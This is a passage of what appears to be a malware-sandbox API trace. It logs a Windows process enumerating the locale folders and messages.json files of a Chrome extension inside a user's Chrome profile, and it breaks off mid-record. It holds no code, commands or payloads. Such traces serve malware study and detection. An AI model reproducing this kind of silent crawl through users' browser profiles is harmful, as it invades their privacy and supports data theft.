lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.497] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0271.497] GetProcessHeap () returned 0x550000 [0271.497] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.497] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0271.497] GetProcessHeap () returned 0x550000 [0271.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.497] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0271.676] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.677] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.677] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.677] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0271.677] GetProcessHeap () returned 0x550000 [0271.677] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.678] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0271.678] GetProcessHeap () returned 0x550000 [0271.678] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0271.678] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.678] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.678] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.678] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0271.678] GetProcessHeap () returned 0x550000 [0271.678] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.678] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0271.678] GetProcessHeap () returned 0x550000 [0271.678] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0271.780] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.780] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x159, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.780] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x159, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.780] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0271.781] GetProcessHeap () returned 0x550000 [0271.781] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.781] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0271.781] GetProcessHeap () returned 0x550000 [0271.781] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0271.781] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.781] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.781] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.781] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0271.782] GetProcessHeap () returned 0x550000 [0271.782] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.782] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0271.782] GetProcessHeap () returned 0x550000 [0271.782] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0271.994] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.994] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.994] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.994] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0271.995] GetProcessHeap () returned 0x550000 [0271.995] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.995] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0271.996] GetProcessHeap () returned 0x550000 [0271.996] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.996] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0271.996] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.996] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.996] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.996] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0271.996] GetProcessHeap () returned 0x550000 [0271.996] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.996] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0271.996] GetProcessHeap () returned 0x550000 [0271.996] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.050] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.050] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.050] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.050] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.050] GetProcessHeap () returned 0x550000 [0272.050] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.051] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0272.051] GetProcessHeap () returned 0x550000 [0272.051] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.051] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.051] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, 